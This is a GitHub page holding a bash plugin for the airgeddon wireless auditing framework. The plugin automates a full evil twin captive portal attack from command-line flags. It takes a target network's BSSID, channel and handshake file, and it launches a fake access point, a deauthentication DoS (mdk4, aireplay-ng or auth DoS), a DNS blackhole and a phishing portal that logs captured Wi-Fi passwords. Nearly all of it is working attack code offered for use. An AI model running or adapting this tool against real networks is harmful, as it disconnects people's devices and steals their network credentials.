forked from xpz3/airgeddonplugins
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathairgeddon_cli.sh
More file actions
493 lines (433 loc) · 15.3 KB
/
Copy pathairgeddon_cli.sh
File metadata and controls
493 lines (433 loc) · 15.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
#!/usr/bin/env bash
#Global shellcheck disabled warnings
#shellcheck disable=SC2034,SC2154,SC2124,SC2010,SC2027
plugin_name="Airgeddon CLI"
plugin_description="Plugin to use cli parameters to skip menu and start evil twin attack."
plugin_author="xpz3"
plugin_enabled=1
plugin_minimum_ag_affected_version="11.60"
plugin_maximum_ag_affected_version=""
plugin_distros_supported=("*")
AIRGEDDON_DEVELOPMENT_MODE="true" # Do not change this value
airgeddon_cli_targets_default_path="" #Default value set from a function below(Default path would be set as <airgeddon_directory>/plugins/captured_handshakes/targets/). Can use a custom value here
airgeddon_cli_tmux_active=0
airgeddon_cli_active=1
airgeddon_cli_skip=1
#Default Values
airgeddon_cli_arguments_copy="$@"
airgeddon_cli_filemode=0
et_dos_attack="Aireplay" #Default DoS attack is aireplay-ng
advanced_captive_portal=0 #Advanced captive portal is disabled by default
captive_portal_language="ENGLISH" #Default captive portal language
dos_pursuit_mode=0 #DoS pursuit mode turned off by default
function airgeddon_cli_print_usage() {
debug_print
echo
echo $'bash' "${scriptname}"$' [-a|-advportal|--advportal] [-b|-bssid|--bssid <bssid>] [-c|-channnel|--channel <channel>]\n\t[-cl|--cl <captive portal password log path>] [-d|-debug|--debug] [-dos|--dos <DoS mode>]\n\t[-e|-essid|--essid <essid>] [-enc|--enc <encryption type>] [-f|-file|--file <filename>]\n\t[-h|-hsfile|--hsfile <handshakefilepath>] [-i|-interface|--interface <interface>]\n\t[-l|-cplang|--cplang <captive portal language>] [-m|-ms|--ms] [-nk|--nk]\n\t[-p|-dp|--dp <DoS pursuit interface>] [-t|-tmux|--tmux] [-u|-usage|--usage] [-v|-version|--version]'
echo
echo $'\t[-a|-advportal|--advportal]\n\t\tEnable advanced captive portal'
echo $'\t[-b|-bssid|--bssid <bssid>]\n\t\tSpecify target bssid'
echo $'\t[-c|-channnel|--channel <channel>\n\t\tSpecify target channel'
echo $'\t[-cl|--cl <captive portal password log path>]\n\t\tSpecify captive portal password save path on successful capture'
echo $'\t[-d|-debug|--debug]\n\t\tSet AIRGEDDON_DEBUG_MODE=true'
echo $'\t[-dos|--dos <DoS mode>]\n\t\tSpecify DoS attack option: 1=mkd4|mkd3 2=Aireplay-ng 3=Auth DoS'
echo $'\t[-e|-essid|--essid <essid>]\n\t\tSpecify target essid'
echo $'\t[-enc|--enc <encryption type>]\n\t\tSpecify target AP encryption {WPA|WPA2}'
echo $'\t[-f|-file|--file <filepath>]\n\t\tSpecify the filename containing target AP essid,bssid,channel,encryption and handshake file path delimited by "|" character. If this option is used, the values from the file will override any other values specified by command line.'
echo $'\t[-h|-hsfile|--hsfile <handshakefilepath>]\n\t\tSpecify the location of target AP handshake file'
echo $'\t[-i|-interface|--interface <interface>]\n\t\tSpecify the interface for captive portal attack. The interface must support VIF and MUST be in Managed mode before starting airgeddon'
echo $'\t[-l|-cplang|--cplang <captive portal language>]\n\t\tSpecify the language to be used on captive portal. Default is ENGLISH'
echo $'\t[-m|-ms|--ms]\n\t\tEnable mac address spoofing'
echo $'\t[-nk|--nk]\n\t\tSet AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING=false'
echo $'\t[-p|-dp|--dp <DoS pursuit interface>]\n\t\tEnable DoS pursuit mode. Specify the second interface name'
echo $'\t[-t|-tmux|--tmux]\n\t\tSet AIRGEDDON_WINDOWS_HANDLING=tmux and start airgeddon inside tmux'
echo $'\t[-v|-version|--version]\n\t\tPrints airgeddon version'
echo $'\t[-u|-usage|--usage]\n\t\tPrints usage'
}
#shellcheck disable=SC2164
function airgeddon_cli_get_absolute_script_path() {
debug_print
if [ "${0}" != "${scriptname}" ];then
airgeddon_cli_relative_path=$(pwd)
cd "${airgeddon_cli_relative_path}"
cd "${0%/*}"
airgeddon_cli_absolute_script_path=$(pwd)
else
airgeddon_cli_absolute_script_path=$(pwd)
fi
}
function airgeddon_cli_manage_captive_portal_log() {
debug_print
default_et_captive_portal_logpath="${default_save_path}"
default_et_captive_portallogfilename=$(sanitize_path "evil_twin_captive_portal_password-${essid}.txt")
default_et_captive_portal_logpath="${default_et_captive_portal_logpath}${default_et_captive_portallogfilename}"
validpath=1
}
function airgeddon_cli_override_exec_et_captive_portal_attack() {
debug_print
rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1
mkdir "${tmpdir}${webdir}" > /dev/null 2>&1
set_hostapd_config
launch_fake_ap
set_network_interface_data
set_dhcp_config
set_std_internet_routing_rules
launch_dhcp_server
exec_et_deauth
set_et_control_script
launch_et_control_window
launch_dns_blackhole
prepare_captive_portal_data
set_webserver_config
set_captive_portal_page
launch_webserver
write_et_processes
echo
language_strings "${language}" 298 "yellow"
language_strings "${language}" 115 "read"
kill_et_windows
if [ "${dos_pursuit_mode}" -eq 1 ]; then
recover_current_channel
fi
restore_et_interface
clean_tmpfiles
}
function airgeddon_cli_read_target_values() {
debug_print
local airgeddon_cli_values_from_file=""
read -r airgeddon_cli_values_from_file < "${airgeddon_cli_targets_default_path}${airgeddon_cli_target_file}"
essid=$(echo "${airgeddon_cli_values_from_file}" | awk '{split($0, airgeddon_cli_target_values,"|"); print airgeddon_cli_target_values[1]}')
bssid=$(echo "${airgeddon_cli_values_from_file}" | awk '{split($0, airgeddon_cli_target_values,"|"); print airgeddon_cli_target_values[2]}')
channel=$(echo "${airgeddon_cli_values_from_file}" | awk '{split($0, airgeddon_cli_target_values,"|"); print airgeddon_cli_target_values[3]}')
enc=$(echo "${airgeddon_cli_values_from_file}" | awk '{split($0, airgeddon_cli_target_values,"|"); print airgeddon_cli_target_values[4]}')
et_handshake=$(echo "${airgeddon_cli_values_from_file}" | awk '{split($0, airgeddon_cli_target_values,"|"); print airgeddon_cli_target_values[5]}')
}
function airgeddon_cli_verify_parameters() {
debug_print
if [[ "${airgeddon_cli_tmux_active}" -eq 1 ]];then
return
fi
if ! [[ "${bssid}" =~ ^([[:xdigit:]]{2}[:]){5}([[:xdigit:]]{2})$ ]];then
echo "Invalid BSSID. Quitting..."
exit
fi
if [[ -z "${essid}" ]] || [[ -z "${channel}" ]] || [[ -z "${enc}" ]];then
echo "Invalid ESSID/Channel/Encryption. Quitting..."
exit
fi
if [[ -z "${interface}" ]];then
echo "No interface selected. Quitting..."
exit
else
local airgeddon_cli_interface_mode
airgeddon_cli_interface_mode=$(iw "${interface}" info 2> /dev/null | grep type | awk '{print $2}')
if [[ "${airgeddon_cli_interface_mode^}" != "Managed" ]];then
echo "The selected interface MUST be in Managed mode. Quitting..."
exit
fi
fi
if [ "${et_handshake}" = "" ];then
echo "Handshake file not specified. Quitting..."
exit
fi
}
function airgeddon_cli_parse_parameters() {
debug_print
if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ];then
transfer_to_tmux "${airgeddon_cli_arguments_copy}"
if ! check_inside_tmux; then
exit_code=1
exit ${exit_code}
fi
fi
airgeddon_cli_get_absolute_script_path
airgeddon_cli_verify_parameters
airgeddon_cli_manage_captive_portal_log
et_captive_portal_logpath="${default_et_captive_portal_logpath}"
et_mode="et_captive_portal"
ifacemode="Managed"
check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
language_strings "${language}" 101 "title"
print_iface_selected
print_all_target_vars
echo
language_strings "${language}" 296 "yellow"
exec_et_captive_portal_attack
evil_twin_attacks_menu
airgeddon_cli_active=0
airgeddon_cli_skip=1
main_menu
}
function airgeddon_cli_override_select_interface() {
debug_print
if [[ "${airgeddon_cli_active}" == 1 ]] && [[ "${airgeddon_cli_skip}" == 0 ]];then
return
else
local interface_menu_band
clear
language_strings "${language}" 88 "title"
current_menu="select_interface_menu"
language_strings "${language}" 24 "green"
print_simple_separator
ifaces=$(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v)
option_counter=0
for item in ${ifaces}; do
option_counter=$((option_counter + 1))
if [ ${#option_counter} -eq 1 ]; then
spaceiface=" "
else
spaceiface=" "
fi
echo -ne "${option_counter}.${spaceiface}${item} "
set_chipset "${item}"
if [ "${chipset}" = "" ]; then
language_strings "${language}" 245 "blue"
else
interface_menu_band=""
if check_interface_wifi "${item}"; then
interface_menu_band+="${blue_color}// ${pink_color}"
get_5ghz_band_info_from_phy_interface "$(physical_interface_finder "${item}")"
case "$?" in
"1")
interface_menu_band+="${band_24ghz}"
;;
*)
interface_menu_band+="${band_24ghz}, ${band_5ghz}"
;;
esac
fi
if [ "${is_rtl_language}" -eq 1 ]; then
echo -e "${interface_menu_band} ${blue_color}// ${normal_color}${chipset} ${yellow_color}:Chipset${normal_color}"
else
echo -e "${interface_menu_band} ${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}"
fi
fi
done
print_hint
read -rp "> " iface
if [[ ! ${iface} =~ ^[[:digit:]]+$ ]] || ((iface < 1 || iface > option_counter)); then
invalid_iface_selected
else
option_counter2=0
for item2 in ${ifaces}; do
option_counter2=$((option_counter2 + 1))
if [ "${iface}" = "${option_counter2}" ]; then
interface=${item2}
phy_interface=$(physical_interface_finder "${interface}")
interface_mac=$(ip link show "${interface}" | awk '/ether/ {print $2}')
if [ -n "${phy_interface}" ]; then
check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
check_supported_standards "${phy_interface}"
if ! check_vif_support; then
adapter_vif_support=0
else
adapter_vif_support=1
fi
check_interface_wifi_longname "${interface}"
else
adapter_vif_support=0
standard_80211n=0
standard_80211ac=0
standard_80211ax=0
standard_80211be=0
fi
break
fi
done
fi
fi
}
function airgeddon_cli_prehook_main_menu() {
debug_print
if [ "${airgeddon_cli_skip}" = 0 ];then
if [ "${airgeddon_cli_active}" -eq 1 ];then
airgeddon_cli_parse_parameters
fi
fi
}
function airgeddon_cli_override_start_airgeddon_from_tmux() {
debug_print
tmux rename-window -t "${session_name}" "${tmux_main_window}"
tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;cd ${scriptfolder};bash ${scriptname} true ${airgeddon_uid}" ENTER
sleep 0.2
if [ "${1}" = "normal" ]; then
tmux attach -t "${session_name}"
else
tmux switch-client -t "${session_name}"
fi
}
function airgeddon_cli_override_create_tmux_session() {
debug_print
session_name="${1}"
if [ "${2}" = "true" ]; then
tmux new-session -d -s "${1}"
start_airgeddon_from_tmux "normal" "${3}"
else
tmux new-session -d -s "${1}"
start_airgeddon_from_tmux "nested" "${3}"
fi
}
function airgeddon_cli_override_transfer_to_tmux() {
debug_print
if ! check_inside_tmux; then
create_tmux_session "${session_name}" "true" "${1}"
else
local active_session
active_session=$(tmux display-message -p '#S')
if [ "${active_session}" != "${session_name}" ]; then
tmux_error=1
fi
fi
}
if [ "$#" -gt 0 ];then
airgeddon_cli_skip=0
if [[ $(ls "${scriptfolder}" | grep "${scriptname}") == "" ]];then
airgeddon_cli_get_absolute_script_path
else
airgeddon_cli_absolute_script_path="${scriptfolder}"
fi
if [ -z "${airgeddon_cli_targets_default_path}" ];then
airgeddon_cli_targets_default_path="${airgeddon_cli_absolute_script_path}"plugins/captured_handshakes/targets/
fi
if ! airgeddon_cli_arguments=$(getopt -a --options="ab:c:de:f:h:i:l:mp:tuv" \
--longoptions="advportal,bssid:,channel:,cplang:,cl:,debug,dos:,dp:,enc:,essid:,file:,hsfile:,interface:,ms,nk,tmux,usage,version" \
--name="Airgeddon v${airgeddon_version}" -- "$@"
); then
airgeddon_cli_print_usage
exit
fi
eval set -- "$airgeddon_cli_arguments"
while [ "$1" != "" ] && [ "$1" != "--" ]; do
case "$1" in
-a|--advportal) # Enable advanced captive portal
advanced_captive_portal=1
;;
-b|--bssid) # Target AP BSSID
if [ "${airgeddon_cli_filemode}" -eq 0 ]; then
bssid="${2}"
fi
shift
;;
-c|--channel) # Target AP Channel
if [ "${airgeddon_cli_filemode}" -eq 0 ]; then
channel="${2}"
fi
shift
;;
--cl) # Captive Portal password log path
#set_default_save_path
airgeddon_cli_manage_captive_portal_log
et_captive_portal_logpath="${2:-$default_et_captive_portal_logpath}"
shift
;;
-d|--debug) # Enable airgeddon debug mode
AIRGEDDON_DEBUG_MODE="true"
;;
--dos) # DoS attack mode --> 1 = mdk4/mdk3, 2 = Aireplay, 3 = Auth DoS
case "${2}" in
1)
et_dos_attack="${mdk_command}"
;;
2)
et_dos_attack="Aireplay"
;;
3)
et_dos_attack="Auth DoS"
;;
*)
echo "Invalid DoS selection. Quitting..."
exit
;;
esac
shift
;;
-e|--essid) # Target AP ESSID
if [ "${airgeddon_cli_filemode}" -eq 0 ]; then
essid="${2}"
fi
shift
;;
--enc) # Target AP encryption type
if [ "${airgeddon_cli_filemode}" -eq 0 ]; then
enc="${2:-WPA2}"
fi
shift
;;
-f|--file) # Enable saved file mode. File name must be given
if [ -z "${2}" ]; then
echo "Filename cannot be empty. Quitting..."
exit
else
if ! check_file_exists "${airgeddon_cli_targets_default_path}${2}"; then
echo "File not found. Quitting..."
exit
fi
airgeddon_cli_target_file="${2}"
airgeddon_cli_filemode=1
fi
airgeddon_cli_read_target_values
shift
;;
-h|--hsfile) # Target AP handshake file absolute path
if [ "${airgeddon_cli_filemode}" -eq 0 ]; then
if [ -z "${2}" ];then
echo "No handshake file specified. Quitting..."
fi
et_handshake="${2}"
if ! check_file_exists "${et_handshake}"; then
echo "Handshake file doesn't exist. Quitting..."
exit
fi
if ! check_bssid_in_captured_file "${et_handshake}" "silent" "also_pmkid"; then
echo "BSSID and handshake file doesn't match. Quitting..."
exit
fi
fi
shift
;;
-i|--interface) # VIF capable interface name which MUST be in MANAGED mode
interface="${2}"; phy_interface=$(physical_interface_finder "${interface}")
shift
;;
-l|--cplang) # Captive portal language --> Case sensitive. Choose from the supported languages.
captive_portal_language="${2:-ENGLISH}"
shift
;;
-m|--ms) # Enable mac spoofing
mac_spoofing_desired=1
shift
;;
--nk) # Disable network manager killing
AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING="false"
;;
-p|--dp) # Enable DoS pursuit mode. Enter the name of the DoS pursuit mode interface as argument
dos_pursuit_mode=1
secondary_wifi_interface="${2}"
if ! check_monitor_enabled "${secondary_wifi_interface}"; then
echo "Trying to set monitor mode on DoS Pursuit interface..."
if ! set_mode_without_airmon "${secondary_wifi_interface}" "monitor"; then
echo "The interface for DoS Pursuit mode cannot be set into monitor mode. Quitting..."
exit
fi
fi
shift
;;
-t|--tmux) # Use tmux as window manager
AIRGEDDON_WINDOWS_HANDLING="tmux"
;;
-u|--usage) # Prints airgeddon_cli usage
airgeddon_cli_print_usage
exit
;;
-v|--version) #Airgeddon current version
if hash git 2> /dev/null; then
airgeddon_cli_git_rev=" rev_"$(git rev-parse --short HEAD)"("$(git rev-parse --abbrev-ref HEAD)" branch)"
fi
echo "Airgeddon v${airgeddon_version}${airgeddon_cli_git_rev}"
exit
;;
esac
shift
done
shift
fi